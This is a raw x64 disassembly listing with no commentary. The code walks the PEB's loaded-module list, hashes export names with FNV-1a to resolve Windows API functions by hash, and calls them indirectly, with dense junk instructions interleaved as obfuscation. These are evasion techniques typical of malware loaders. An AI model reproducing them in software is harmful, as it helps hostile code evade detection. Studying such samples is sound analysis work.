movzx eax, dx
mov al, 0xb4
mov ax, r11w
mov dword [rsp + 0xb8], 0x811c9dc5
movzx eax, r14w
movsxd rax, r12d
mov rax, qword [rsp + 0x2a0]
mov al, byte [rax]
mov byte [rsp + 0x7a], al
movzx ax, dil
mov rax, r15
movsx ax, cl
mov rax, qword [rsp + 0x2a0]
jmp 0x140669b67
inc rax
cmc
mov qword [rsp + 0x2a0], rax
mov al, byte [rsp + 0x7a]
test ah, bh
clc
mov byte [rsp + 0x63], al
movsx eax, byte [rsp + 0x63]
test eax, eax
jmp 0x140669b8a
jne 0x140669bad
mov eax, dword [rsp + 0xb8]
jmp 0x140669b9c
mov dword [rsp + 0x31c], eax
jmp 0x140669ba8
jmp 0x140669c52
movsx eax, byte [rsp + 0x63]
stc
clc
cmp eax, 0x41
jmp 0x140669bbc
jl 0x140669bfb
movsx eax, byte [rsp + 0x63]
cmp eax, 0x5a
jmp 0x140669bcf
jg 0x140669bfb
movsx eax, byte [rsp + 0x63]
clc
cmp r8, 0x34220130
or eax, 0x20
jmp 0x140669bea
mov dword [rsp + 0xf0], eax
jmp 0x140669bf6
jmp 0x140669c0a
movsx eax, byte [rsp + 0x63]
mov rcx, r15
mov dword [rsp + 0xf0], eax
mov eax, dword [rsp + 0xf0]
bsr ecx, edx
mov ecx, dword [rsp + 0xb8]
test r10b, 0x8f
clc
xor ecx, eax
clc
or ax, r10w
bsr ax, r12w
mov eax, ecx
stc
cmp dl, sil
mov eax, eax
test bh, 0x22
test al, spl
imul rax, rax, 0x1000193
mov dword [rsp + 0xb8], eax
jmp 0x140669c4d
jmp 0x140669b40
cmp dword [rsp + 0x31c], 0x2b63548d
jmp 0x140669c62
jne 0x140669d3b
mov rax, qword [rsp + 0x330]
rol cx, 0x11
clc
shl ch, cl
mov eax, dword [rax + 0x1c]
cmovnp cx, ax
movsx ecx, r11w
test r9d, edi
add rax, qword [rsp + 0x328]
mov qword [rsp + 0x4d8], rax
bt cx, r10w
adc cx, di
rcr al, cl
mov rax, qword [rsp + 0x330]
mov ch, al
add ch, 0xac
movzx cx, bpl
mov eax, dword [rax + 0x24]
and cx, di
add ecx, r9d
add rax, qword [rsp + 0x328]
shl rcx, cl
test sil, r9b
mov qword [rsp + 0x4d0], rax
xadd ch, cl
sbb cl, r14b
rcl eax, 0x15
mov eax, dword [rsp + 0xa4]
ror cx, 0x8b
sub cl, spl
mov rcx, qword [rsp + 0x4d0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x4d8]
test r12b, 0x20
mov eax, dword [rcx + rax*4]
clc
add rax, qword [rsp + 0x328]
jmp 0x140669d10
mov qword [rsp + 0x4e0], rax
movsxd rax, esp
cwde
mov rax, qword [rsp + 0x4e0]
jmp 0x140669d29
mov qword [rsp + 0x120], rax
jmp 0x140669d36
jmp 0x140669d55
jmp 0x140669a85
mov qword [rsp + 0x120], 0
bswap ecx
movsx rcx, si
mov r9b, 0x38
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0x708]
movsx cx, bpl
setnp dh
movzx r9, bp
mov qword [rsp + 0x50], rax
cwd
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
movzx ax, bh
cdq
setns r9b
mov eax, dword [rsp + 0x74c]
mov dword [rsp + 0x38], eax
mov cx, r10w
bswap edx
mov eax, dword [rsp + 0x748]
setno r9b
cwd
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
cqo
mov r9d, 0x80000000
movsx dx, r8b
lea r8, [0x1400a4530]
cdq
jmp 0x140669de0
mov rdx, qword [rsp + 0x730]
movzx cx, r11b
mov ch, bl
mov ecx, 0x2080028
jmp 0x140669df9
call qword [rsp + 0x120]
mov qword [rsp + 0xd0], rax
cmp rax, r13
cmp qword [rsp + 0xd0], 0
jmp 0x140669e19
jne 0x140669e2b
xor eax, eax
jmp 0x140669e26
jmp 0x14066b65f
mov rax, qword [rsp + 0x7a0]
mov rcx, qword [rsp + 0xd0]
cmc
mov qword [rax + 0x30], rcx
ror ah, 0xac
mov dword [rsp + 0x254], 2
sar ch, 0x24
shr cx, cl
mov dword [rsp + 0x218], 0xff
mov dword [rsp + 0x21c], 0
mov rax, qword [rsp + 0x780]
movzx rcx, ax
btc cx, 0x22
mov qword [rsp + 0x2b8], rax
add ah, 0xa0
btr rax, r15
mov rax, qword gs:[0x60]
mov rcx, 0xffffffffce840324
adc cx, r14w
mov qword [rsp + 0x4e8], rax
adc rcx, r13
mov rax, qword [rsp + 0x4e8]
or cx, 0x3023
cmp cl, al
rcr rcx, 0x99
mov rax, qword [rax + 0x18]
sete ch
and cl, r12b
bsf cx, r13w
mov qword [rsp + 0x4f0], rax
shl ch, 0x3c
mov ecx, ecx
mov rax, qword [rsp + 0x4f0]
sar ecx, 0x3e
movsx cx, r9b
shr cl, cl
mov rax, qword [rax + 0x10]
shl cl, cl
mov qword [rsp + 0x4f8], rax
mov rax, 0xffffffffa8919b24
mov rax, qword [rsp + 0x4f8]
rol ch, cl
rol rcx, 7
bts cx, r8w
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
and rcx, rdi
rol cx, 0xb8
movsx cx, r9b
mov qword [rsp + 0x1b8], rax
mov cl, r15b
inc rcx
mov rax, qword [rsp + 0x140]
movsx rcx, r8w
adc cl, spl
shr cx, cl
movsxd rax, dword [rax + 0x3c]
cmc
mov rcx, qword [rsp + 0x140]
add rcx, rax
ror ax, 0x3b
mov rax, rcx
mov qword [rsp + 0x500], rax
bts rax, rbx
shl al, 0x86
mov eax, 8
imul rax, rax, 0
not cx
btc ecx, r9d
and ch, 0x8a
mov rcx, qword [rsp + 0x500]
mov rax, qword [rcx + rax + 0x88]
bt cx, 0x8b
mov qword [rsp + 0x390], rax
movsxd rcx, r14d
mov eax, dword [rsp + 0x390]
neg rcx
clc
mov rcx, qword [rsp + 0x140]
stc
lea rcx, [rcx + rax]
btr eax, 0
mov rax, rcx
test r10, 0xffffffffa0860d95
mov qword [rsp + 0x1c0], rax
mov eax, dword [rsp + 0x394]
cmp r13w, 0x1d3c
jmp 0x140669ffc
mov dword [rsp + 0x1c8], eax
adc eax, r15d
bts rax, rsp
mov rax, qword [rsp + 0x1b8]
test r12d, 0xa2877d07
cmp qword [rsp + 0x1c0], rax
je 0x14066a03c
mov dword [rsp + 0xf4], 1
jmp 0x14066a037
jmp 0x14066a047
mov dword [rsp + 0xf4], 0
mov al, byte [rsp + 0xf4]
test dil, bl
mov byte [rsp + 0x7b], al
nop
sal ax, 9
movzx eax, byte [rsp + 0x7b]
cmp al, 3
test eax, eax
je 0x14066a34c
mov rax, qword [rsp + 0x1c0]
jmp 0x14066a076
mov eax, dword [rax + 0x18]
jmp 0x14066a07e
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x320], eax
movsxd rax, r14d
mov eax, dword [rsp + 0x94]
dec eax
cmc
jmp 0x14066a0a5
mov dword [rsp + 0x94], eax
test r12, rcx
cmp dword [rsp + 0x320], 0
jmp 0x14066a0bc
je 0x14066a34c
mov rax, qword [rsp + 0x1c0]
mov eax, dword [rax + 0x20]
xadd cl, cl
dec ch
rcl ch, 0x13
mov rcx, qword [rsp + 0x1b8]
lea rcx, [rcx + rax]
adc ax, 0xdb0b
bt ax, dx
shr al, cl
mov rax, rcx
sal cl, cl
mov ecx, dword [rsp + 0x94]
test r13w, 0x4e82
mov eax, dword [rax + rcx*4]
clc
test spl, 0x3b
add rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x508], rax
jmp 0x14066a11f
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x2a8], rax
cmovg eax, r8d
movzx eax, ax
mov dword [rsp + 0xbc], 0x811c9dc5
mov ax, 0x2f86
movsx ax, r15b
mov rax, qword [rsp + 0x2a8]
jmp 0x14066a157
mov al, byte [rax]
jmp 0x14066a15e
mov byte [rsp + 0x7c], al
movzx ax, bpl
mov rax, r12
movzx rax, ax
mov rax, qword [rsp + 0x2a8]
jmp 0x14066a17b
inc rax
jmp 0x14066a185
mov qword [rsp + 0x2a8], rax
rcr al, 0x38
mov al, byte [rsp + 0x7c]
cmp r9b, 4
clc
mov byte [rsp + 0x64], al
sub al, r14b
shr al, 0x28
lahf
movsx eax, byte [rsp + 0x64]
test eax, eax
jmp 0x14066a1b0
jne 0x14066a1d3
mov eax, dword [rsp + 0xbc]
jmp 0x14066a1c2
mov dword [rsp + 0x324], eax
jmp 0x14066a1ce
jmp 0x14066a269
movsx eax, byte [rsp + 0x64]
test di, r13w
cmp eax, 0x41
jl 0x14066a21a
movsx eax, byte [rsp + 0x64]
cmp r11b, r12b
clc
cmp eax, 0x5a
jmp 0x14066a1f6
jg 0x14066a21a
movsx eax, byte [rsp + 0x64]
or eax, 0x20
jmp 0x14066a209
mov dword [rsp + 0xf8], eax
jmp 0x14066a215
jmp 0x14066a231
movsx eax, byte [rsp + 0x64]
inc ch
movsx ecx, r15w
shrd ecx, r9d, 0xaf
mov dword [rsp + 0xf8], eax
mov eax, dword [rsp + 0xf8]
mov ecx, dword [rsp + 0xbc]
xor ecx, eax
mov eax, ecx
cmp dil, 0xa7
cmc
clc
mov eax, eax
stc
imul rax, rax, 0x1000193
jmp 0x14066a258
mov dword [rsp + 0xbc], eax
jmp 0x14066a264
jmp 0x14066a14a
cmp dword [rsp + 0x324], 0x620bd014
jne 0x14066a347
mov rax, qword [rsp + 0x1c0]
mov eax, dword [rax + 0x1c]
movsx cx, r9b
or cl, r9b
add cl, 0x36
add rax, qword [rsp + 0x1b8]
bswap rcx
bsf cx, ax
adc ch, 0xae
mov qword [rsp + 0x518], rax
stc
rcr rax, 4
mov rax, qword [rsp + 0x1c0]
mov eax, dword [rax + 0x24]
inc rcx
xor ecx, 0x83892311
add rax, qword [rsp + 0x1b8]
mov cx, r9w
bsr cx, dx
mov qword [rsp + 0x510], rax
xor al, 0xb7
cwde
xchg cl, ch
mov eax, dword [rsp + 0x94]
neg cx
mov rcx, qword [rsp + 0x510]
test r8b, r12b
cmp r10b, bpl
movzx eax, word [rcx + rax*2]
adc rcx, rdx
btc rcx, 0x31
mov rcx, qword [rsp + 0x518]
clc
mov eax, dword [rcx + rax*4]
cmp r11w, r8w
add rax, qword [rsp + 0x1b8]
jmp 0x14066a321
mov qword [rsp + 0x520], rax
movsx rax, r14w
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x2b8], rax
jmp 0x14066a342
jmp 0x14066a3be
jmp 0x14066a085
mov rax, qword [rsp + 0x2b0]
cmp r9b, 6
mov qword [rsp + 0x528], rax
xor ah, 0x8b
mov rax, qword [rsp + 0x528]
jmp 0x14066a370
mov rax, qword [rax]
cmp edi, 0x861d458a
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x2b0], rax
cdqe
btc rax, 0x82
mov byte [rsp + 0x7d], 1
movzx eax, byte [rsp + 0x7d]
stc
test eax, eax
jne 0x140669f1a
mov qword [rsp + 0x2b8], 0
xchg cx, r9w
bswap cx
lea rax, [rsp + 0x254]
mov qword [rsp + 0x538], rax
cwd
mov rax, qword [rsp + 0x538]
mov eax, dword [rax]
jmp 0x14066a3df
mov dword [rsp + 0x220], eax
lea rax, [rsp + 0x218]
cdq
cqo
jmp 0x14066a3f6
mov qword [rsp + 0x540], rax
rdtsc
cwde
cdqe
mov rax, qword [rsp + 0x540]
cdq
mov al, byte [rax]
movzx rdx, sp
mov byte [rsp + 0x7e], al
cmovg cx, r9w
movsx edx, bx
lea rax, [rsp + 0x21c]
mov qword [rsp + 0x548], rax
mov rax, qword [rsp + 0x548]
xchg cl, r8b
mov eax, dword [rax]
mov dword [rsp + 0x224], eax
movsxd rax, r8d
lea rax, [rsp + 0xd0]
movsx cx, spl
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x550]
mov rax, qword [rax]
movsx r9w, r10b
mov qword [rsp + 0x558], rax
mov dl, r13b
mov r9d, dword [rsp + 0x220]
movsx rcx, r15w
mov r8b, r8b
mov r8b, byte [rsp + 0x7e]
mov edx, dword [rsp + 0x224]
mov rcx, qword [rsp + 0x558]
jmp 0x14066a49d
call qword [rsp + 0x2b8]
mov dword [rsp + 0x6e0], 0xffffffff
neg ecx
ror dil, 0xb0
lea rax, [rsp + 0x6e4]
mov rdi, rax
sub eax, eax
movsx cx, bpl
mov ecx, 0xc
jmp 0x14066a4d1
rep stosb byte [rdi], al
rcl cl, 0xa8
dec al
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x5b0], rax
sar rax, cl
sal ah, cl
rol cx, 0xa5
mov rax, qword [rsp + 0x768]
rol ch, 0xaf
rcl ch, 0x38
mov qword [rsp + 0x308], rax
btr cx, cx
cmp di, 0x67ad
mov rax, qword gs:[0x60]
btc ecx, 9
shl ecx, cl
shl cx, 0x95
mov qword [rsp + 0x560], rax
btr rax, rax
clc
mov rax, qword [rsp + 0x560]
adc cl, 0x28
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x568], rax
shr al, 0x9f
mov rax, qword [rsp + 0x568]
bts ecx, ebp
bt ecx, r13d
sbb cl, r15b
mov rax, qword [rax + 0x10]
bswap cx
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x570]
movsxd rcx, edi
rcr ecx, cl
or cx, 0xcf3c
mov qword [rsp + 0x2c8], rax
xadd cx, ax
or ax, bx
jmp 0x14066a591
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax + 0x30]
bsf cx, ax
add cx, 0xb207
test r10, r11
mov qword [rsp + 0x148], rax
ror ch, cl
mov rax, qword [rsp + 0x148]
cmp r8b, 0x12
xor cx, 0xbea0
mov qword [rsp + 0x1d0], rax
test cl, dil
bt eax, r9d
mov rax, qword [rsp + 0x148]
movsxd rax, dword [rax + 0x3c]
rcr cl, 0xd
xadd cl, ch
mov rcx, qword [rsp + 0x148]
lea rcx, [rcx + rax]
test r15w, 0x4c24
btr ax, sp
setp al
mov rax, rcx
mov qword [rsp + 0x578], rax
ror al, cl
not cx
sar cl, 0x89
mov eax, 8
movsx cx, r15b
mov cl, sil
cmc
imul rax, rax, 0
mov rcx, qword [rsp + 0x578]
mov rax, qword [rcx + rax + 0x88]
ror cx, 0x2e
movzx cx, spl
mov qword [rsp + 0x340], rax
mov eax, dword [rsp + 0x340]
or cl, r12b
mov rcx, qword [rsp + 0x148]
clc
add rcx, rax
bt eax, 0xaf
shl ah, cl
xchg al, al
mov rax, rcx
mov qword [rsp + 0x1d8], rax
mov eax, dword [rsp + 0x344]
clc
mov dword [rsp + 0x1e0], eax
mov rax, qword [rsp + 0x1d0]
cmp qword [rsp + 0x1d8], rax
je 0x14066a6a2
mov dword [rsp + 0xfc], 1
jmp 0x14066a6ad
mov dword [rsp + 0xfc], 0
mov al, byte [rsp + 0xfc]
test r14b, r12b
clc
test sil, 0x15
mov byte [rsp + 0x7f], al
bswap eax
bts eax, ecx
test r9b, r12b
movzx eax, byte [rsp + 0x7f]
cmc
test eax, eax
jmp 0x14066a6d5
je 0x14066a9c5
mov rax, qword [rsp + 0x1d8]
jmp 0x14066a6e8
mov eax, dword [rax + 0x18]
jmp 0x14066a6f0
mov dword [rsp + 0x98], eax
inc ah
bswap eax
mov eax, dword [rsp + 0x98]
jmp 0x14066a707
mov dword [rsp + 0x228], eax
cdqe
mov eax, dword [rsp + 0x98]
jmp 0x14066a71c
dec eax
mov dword [rsp + 0x98], eax
cmp r9, r10
test di, r12w
cmp dword [rsp + 0x228], 0
jmp 0x14066a739
je 0x14066a9c5
mov rax, qword [rsp + 0x1d8]
ror ch, cl
mov eax, dword [rax + 0x20]
movsx ecx, di
ror ch, 0x95
mov rcx, qword [rsp + 0x1d0]
add rcx, rax
movzx rax, r12w
or al, bpl
xor rax, 0xffffffffee25f5a9
mov rax, rcx
movzx cx, r10b
mov ecx, dword [rsp + 0x98]
clc
mov eax, dword [rax + rcx*4]
test r15w, 0x6f87
add rax, qword [rsp + 0x1d0]
jmp 0x14066a791
mov qword [rsp + 0x580], rax
mov rax, qword [rsp + 0x580]
jmp 0x14066a7a6
mov qword [rsp + 0x2c0], rax
cbw
mov dword [rsp + 0xc0], 0x811c9dc5
jmp 0x14066a7c0
mov rax, qword [rsp + 0x2c0]
jmp 0x14066a7cd
mov al, byte [rax]
jmp 0x14066a7d4
mov byte [rsp + 0x80], al
cwde
cmovnp eax, ebx
jmp 0x14066a7e4
mov rax, qword [rsp + 0x2c0]
jmp 0x14066a7f1
inc rax
mov qword [rsp + 0x2c0], rax
mov al, byte [rsp + 0x80]
jmp 0x14066a80e
mov byte [rsp + 0x65], al
bts ax, r15w
shr al, 0xb9
movsx eax, byte [rsp + 0x65]
cmp r13b, r12b
test eax, eax
jmp 0x14066a829
jne 0x14066a84c
mov eax, dword [rsp + 0xc0]
jmp 0x14066a83b
mov dword [rsp + 0x22c], eax
jmp 0x14066a847
jmp 0x14066a8ee
movsx eax, byte [rsp + 0x65]
test dx, r8w
test r11b, 0x27
cmp eax, 0x41
jmp 0x14066a861
jl 0x14066a8a2
movsx eax, byte [rsp + 0x65]
test r9b, r9b
test bp, 0x7537
cmp eax, 0x5a
jmp 0x14066a87c
jg 0x14066a8a2
movsx eax, byte [rsp + 0x65]
test ax, 0x7d00
cmp bpl, r11b
or eax, 0x20
mov dword [rsp + 0x100], eax
jmp 0x14066a89d
jmp 0x14066a8b5
movsx eax, byte [rsp + 0x65]
mov dword [rsp + 0x100], eax
btc eax, 0xab
xor cl, dh
clc
mov eax, dword [rsp + 0x100]
mov ecx, dword [rsp + 0xc0]
clc
xor ecx, eax
sal al, cl
bts rax, r14
mov eax, ecx
stc
mov eax, eax
jmp 0x14066a8d6
imul rax, rax, 0x1000193
mov dword [rsp + 0xc0], eax
jmp 0x14066a8e9
jmp 0x14066a7c0
cmp dword [rsp + 0x22c], 0x18897ae0
jne 0x14066a9c0
mov rax, qword [rsp + 0x1d8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x1d0]
sub cl, r15b
mov qword [rsp + 0x590], rax
btr eax, 0x84
mov rax, qword [rsp + 0x1d8]
sar ch, 0xbb
mov eax, dword [rax + 0x24]
rcl ecx, 2
movsx ecx, di
sbb ecx, 0x5194c5ab
add rax, qword [rsp + 0x1d0]
cmc
sar rcx, cl
mov qword [rsp + 0x588], rax
ror ah, cl
mov eax, dword [rsp + 0x98]
bts ecx, r8d
add cx, 0xf82d
mov rcx, qword [rsp + 0x588]
cmp spl, r13b
cmp r15b, 0x87
movzx eax, word [rcx + rax*2]
xchg ecx, ecx
mov cl, 0x20
mov rcx, qword [rsp + 0x590]
clc
stc
mov eax, dword [rcx + rax*4]
test r15w, 0x63af
stc
add rax, qword [rsp + 0x1d0]
jmp 0x14066a999
mov qword [rsp + 0x598], rax
jmp 0x14066a9a6
mov rax, qword [rsp + 0x598]
jmp 0x14066a9b3
mov qword [rsp + 0x308], rax
jmp 0x14066aa3a
jmp 0x14066a6fb
mov rax, qword [rsp + 0x2c8]
test esp, edx
mov qword [rsp + 0x5a0], rax
sal ax, 0xa8
mov rax, qword [rsp + 0x5a0]
stc
mov rax, qword [rax]
clc
jmp 0x14066a9ed
mov qword [rsp + 0x5a8], rax
cdqe
mov rax, qword [rsp + 0x5a8]
mov qword [rsp + 0x2c8], rax
cwde
mov ax, 0xb6a8
movsxd rax, r9d
mov byte [rsp + 0x81], 1
not eax
movzx eax, byte [rsp + 0x81]
test eax, eax
jmp 0x14066aa28
jne 0x14066a591
mov qword [rsp + 0x308], 0
lea rax, [rsp + 0x5b0]
cqo
movsx dx, r10b
mov qword [rsp + 0x5b8], rax
cwd
rdtsc
not ah
mov rax, qword [rsp + 0x5b8]
xchg rdx, rcx
mov rax, qword [rax]
movsx dx, bl
mov qword [rsp + 0x5c8], rax
movzx cx, ah
lahf
cqo
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x5c0], rax
lahf
movzx dx, bh
bswap dx
mov rax, qword [rsp + 0x5c0]
mov rax, qword [rax]
not cx
movsxd rdx, r9d
jmp 0x14066aaa6
mov qword [rsp + 0x5d0], rax
mov edx, 0xb12f00b2
cdq
mov rdx, qword [rsp + 0x5c8]
bswap cx
mov rcx, qword [rsp + 0x5d0]
jmp 0x14066aacc
call qword [rsp + 0x308]
mov dword [rsp + 0x238], 0xa
btc ax, r13w
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x2e8], rax
sar ax, 2
shrd rcx, r11, 0xe
mov rax, qword gs:[0x60]
mov qword [rsp + 0x5d8], rax
bts eax, r14d
clc
btr eax, 0x15
mov rax, qword [rsp + 0x5d8]
inc cl
dec cl
bswap cx
mov rax, qword [rax + 0x18]
shr ch, cl
mov qword [rsp + 0x5e0], rax
shr al, cl
cwde
mov ax, 0x172c
mov rax, qword [rsp + 0x5e0]
ror ecx, 0x83
mov rax, qword [rax + 0x10]
bts rcx, rbp
mov qword [rsp + 0x5e8], rax
mov cx, 0x8abe
movzx ax, r9b
sal ecx, cl
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + 0x2e0], rax
mov ax, 0x740e
cmc
mov rax, qword [rsp + 0x2e0]
shr cl, cl
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x150]
rcl cl, 0x33
mov qword [rsp + 0x1e8], rax
bswap eax
mov rax, qword [rsp + 0x150]
movzx ecx, r9w
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x150]
test r12d, 0x7b3616b8
cmp r14, 0xd2c5aa0
add rcx, rax
test rsi, rdx
mov rax, rcx
and cl, bh
cmp edx, edi
stc
mov qword [rsp + 0x5f0], rax
shl ch, 0x99
bt ax, r9w
cmc
mov eax, 8
and rcx, rax
imul rax, rax, 0
mov rcx, qword [rsp + 0x5f0]
cmp edx, 0x9920aad
clc
mov rax, qword [rcx + rax + 0x88]
xor cx, 0xde13
mov qword [rsp + 0x348], rax
rcr eax, cl
mov eax, dword [rsp + 0x348]
shld rcx, r15, 0x87
mov ecx, r8d
mov rcx, qword [rsp + 0x150]
test r12b, 0xbc
cmp r9w, r14w
lea rcx, [rcx + rax]
neg ah
mov rax, rcx
mov qword [rsp + 0x1f0], rax
stc
rcr ah, 0xb9
test r14, 0x2fad8b80
mov eax, dword [rsp + 0x34c]
jmp 0x14066ac66
mov dword [rsp + 0x1f8], eax
mov rax, qword [rsp + 0x1e8]
test bx, 0x4c38
test r11b, r13b
cmp qword [rsp + 0x1f0], rax
jmp 0x14066ac8a
je 0x14066aca0
mov dword [rsp + 0x104], 1
jmp 0x14066acb2
mov dword [rsp + 0x104], 0
stc
ror al, 0x9e
mov al, r14b
mov al, byte [rsp + 0x104]
test r13b, 0x93
test bp, dx
mov byte [rsp + 0x82], al
movzx eax, byte [rsp + 0x82]
test eax, eax
jmp 0x14066acd6
je 0x14066afb5
mov rax, qword [rsp + 0x1f0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x9c], eax
cdqe
movzx rax, bp
mov ah, bl
mov eax, dword [rsp + 0x9c]
jmp 0x14066ad02
mov dword [rsp + 0x230], eax
movsx eax, di
mov eax, 0x7f17c5a9
movsx rax, cx
mov eax, dword [rsp + 0x9c]
jmp 0x14066ad21
dec eax
cmp r13b, al
mov dword [rsp + 0x9c], eax
jmp 0x14066ad36
cmp dword [rsp + 0x230], 0
jmp 0x14066ad43
je 0x14066afb5
mov rax, qword [rsp + 0x1f0]
clc
movsx cx, ch
or cx, r13w
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x1e8]
add rcx, rax
cwde
lahf
mov rax, rcx
ror ch, 0x18
add cl, r9b
cmovae cx, r10w
mov ecx, dword [rsp + 0x9c]
jmp 0x14066ad87
mov eax, dword [rax + rcx*4]
cmp r11b, r9b
clc
cmc
add rax, qword [rsp + 0x1e8]
jmp 0x14066ad9c
mov qword [rsp + 0x5f8], rax
mov rax, qword [rsp + 0x5f8]
jmp 0x14066adb1
mov qword [rsp + 0x2d8], rax
mov al, 3
cmovs ax, di
movsx ax, dh
mov dword [rsp + 0xc4], 0x811c9dc5
cdqe
mov rax, qword [rsp + 0x2d8]
mov al, byte [rax]
jmp 0x14066addf
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x2d8]
inc rax
cmp dil, cl
mov qword [rsp + 0x2d8], rax
mov al, byte [rsp + 0x83]
mov byte [rsp + 0x66], al
neg al
movsx eax, byte [rsp + 0x66]
test r13b, 0x32
test eax, eax
jne 0x14066ae32
mov eax, dword [rsp + 0xc4]
mov dword [rsp + 0x234], eax
jmp 0x14066ae2d
jmp 0x14066aeeb
movsx eax, byte [rsp + 0x66]
clc
cmp bx, di
cmp eax, 0x41
jmp 0x14066ae43
jl 0x14066ae84
movsx eax, byte [rsp + 0x66]
jmp 0x14066ae56
cmp eax, 0x5a
jmp 0x14066ae5e
jg 0x14066ae84
movsx eax, byte [rsp + 0x66]
cmp dl, r15b
cmc
test cl, 0x83
or eax, 0x20
mov dword [rsp + 0x108], eax
jmp 0x14066ae7f
jmp 0x14066ae9c
movsx eax, byte [rsp + 0x66]
bts rcx, rsp
mov dword [rsp + 0x108], eax
test r15w, r11w
bsr rcx, rcx
mov eax, dword [rsp + 0x108]
shr cl, 0x27
movsx rcx, dx
mov ecx, dword [rsp + 0xc4]
cmp esp, 0x5cb46cb8
cmc
xor ecx, eax
movsx eax, sp
xadd ax, ax
mov eax, ecx
test r9, rsi
mov eax, eax
jmp 0x14066aece
imul rax, rax, 0x1000193
jmp 0x14066aeda
mov dword [rsp + 0xc4], eax
jmp 0x14066aee6
jmp 0x14066add0
cmp dword [rsp + 0x234], 0x860861c0
jmp 0x14066aefb
jne 0x14066afb0
mov rax, qword [rsp + 0x1f0]
and ecx, r9d
rcl ch, cl
or cl, 0x37
mov eax, dword [rax + 0x1c]
bt rcx, r8
movsx rcx, di
add rax, qword [rsp + 0x1e8]
mov cl, r8b
stc
mov qword [rsp + 0x608], rax
mov ch, dl
mov rax, qword [rsp + 0x1f0]
mov eax, dword [rax + 0x24]
bts ecx, ecx
cmp dil, r13b
add rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x600], rax
adc ecx, 0x111edc90
mov eax, dword [rsp + 0x9c]
mov rcx, qword [rsp + 0x600]
movzx eax, word [rcx + rax*2]
inc cl
mov rcx, qword [rsp + 0x608]
test r14, 0x7ab901bd
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x610], rax
bswap ax
mov ax, bx
mov rax, qword [rsp + 0x610]
mov qword [rsp + 0x2e8], rax
jmp 0x14066afab
jmp 0x14066b02b
jmp 0x14066acf6
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x618], rax
sbb al, dil
shrd eax, r10d, 0x23
mov rax, qword [rsp + 0x618]
cmc
mov rax, qword [rax]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x620]
cmc
clc
test r12b, sil
mov qword [rsp + 0x2e0], rax
mov byte [rsp + 0x84], 1
setge al
movzx eax, byte [rsp + 0x84]
clc
test eax, eax
jmp 0x14066b011
jne 0x14066ab75
mov qword [rsp + 0x2e8], 0
cmovne rax, rsi
movsx rcx, r14w
lea rax, [rsp + 0x238]
movzx rcx, sp
xchg dl, cl
movsxd rcx, esi
mov qword [rsp + 0x628], rax
mov rax, qword [rsp + 0x628]
mov eax, dword [rax]
mov dword [rsp + 0x23c], eax
cwd
xchg rcx, rcx
movzx edx, bp
lea rax, [rsp + 0xd0]
cdq
movzx rcx, sp
cqo
mov qword [rsp + 0x630], rax
lahf
rdtsc
mov rax, qword [rsp + 0x630]
movsxd rcx, edx
movzx ecx, dx
mov rax, qword [rax]
mov qword [rsp + 0x638], rax
setnp ch
jmp 0x14066b098
mov edx, dword [rsp + 0x23c]
movzx ecx, bp
mov rcx, rax
mov rcx, qword [rsp + 0x638]
call qword [rsp + 0x2e8]
mov rax, qword [rsp + 0x778]
mov qword [rsp + 0x300], rax
btr cx, di
movsxd rcx, ecx
mov rax, qword gs:[0x60]
stc
mov qword [rsp + 0x640], rax
test dl, 0x80
mov rax, qword [rsp + 0x640]
ror cl, cl
rcr cl, 1
neg cl
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x648], rax
xor rcx, r8
test al, r14b
mov rax, qword [rsp + 0x648]
stc
mov rax, qword [rax + 0x10]
rcl cx, cl
shr cl, 3
mov qword [rsp + 0x650], rax
sub cx, 0xe1ae
cmp dx, bx
movsx ax, al
mov rax, qword [rsp + 0x650]
cmp ax, 0x90be
sbb cl, r12b
sal rcx, cl
mov qword [rsp + 0x2f8], rax
bt eax, 0x36
rcr cl, cl
sal ax, cl
mov rax, qword [rsp + 0x2f8]
mov rax, qword [rax + 0x30]
bts cx, si
btc cx, bx
movsx rcx, r8w
mov qword [rsp + 0x160], rax
sal ch, cl
btc ax, 0x26
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x200], rax
cmc
adc cl, bpl
mov rax, qword [rsp + 0x160]
bt ecx, 0x36
movsxd rcx, edx
movsxd rax, dword [rax + 0x3c]
clc
bts cx, di
mov rcx, qword [rsp + 0x160]
cmp edx, r10d
clc
add rcx, rax
xadd rax, rax
mov rax, rcx
sub ch, bl
rol rcx, 0x85
mov qword [rsp + 0x658], rax
mov eax, 8
bswap cx
sbb ecx, 0x531ee636
test sp, 0x520b
imul rax, rax, 0
cmp bl, 7
sar rcx, 0xae
shr cx, 0x8d
mov rcx, qword [rsp + 0x658]
cmp rcx, 0x3717f7a4
clc
mov rax, qword [rcx + rax + 0x88]
btr cx, 0x22
